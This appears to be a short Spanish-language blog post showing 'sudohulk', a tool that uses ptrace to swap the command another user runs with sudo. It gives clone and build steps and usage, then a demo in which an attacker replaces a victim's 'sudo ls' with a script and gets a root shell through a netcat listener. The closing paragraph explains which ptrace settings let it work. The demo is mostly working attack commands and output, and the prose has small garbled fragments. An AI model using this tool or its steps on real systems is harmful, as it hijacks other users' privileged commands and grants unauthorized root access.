



$ git clone https://github.com/hc0d3r/sudohulk.git

$ cd sudohulk

$ make

cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c

cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c

cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c

cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o





$ ./sudohulk

sudohulk [-qdk] PID COMMAND [ARGS]





Options:

-q quit when change a command

-d run in background

-k keep original command line (appending to new)

$ ./sudohulk -qd $$ id

running in background, pid:20899

$ sudo ls -lah

[sudo] senha para mmxm:

uid=0(root) gid=0(root) grupos=0(root)

malicioso@host:~$ ./sudohulk -q 6610 bash /tmp/shell.sh

starting attach pid: 6610





[*] new process created: 6887

[+] (6887) sys_execve detected >>> '/usr/bin/sudo'

[+] sudo detected

[*] overwriting parameters

[-] exiting ...





victima@host:~$ sudo ls

Android Escritorio MEGAsync peda stopfw.sh





malicioso@host:~$ nc -nlvp 6969

listening on [any] 6969 ...

connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55866

id

uid=0(root) gid=0(root) grupos=0(root)

sudohulk es una herramienta que es capaz de cambiar el comando sudo lanzado por otro usuario en otra shell (bash o zsh)lamediante. Soporta las arquitecturas x86_64, x86 y arm.: muchas distros que usan LSM (Linux Security Modules) como Yama implementan medidas de control sobre ptrace (bloquean las llamadas de los procesos que no sean hijos). Para que esta herramienta funcione, por ej. en las últimas versiones de Ubuntu, necesitaremos el sysctl /proc/sys/kernel/yama/ptrace_scope a 0 con lo cual la herramienta dejaría de ser efectiva. En otras distribuciones como Kali ya está desactivado por defecto.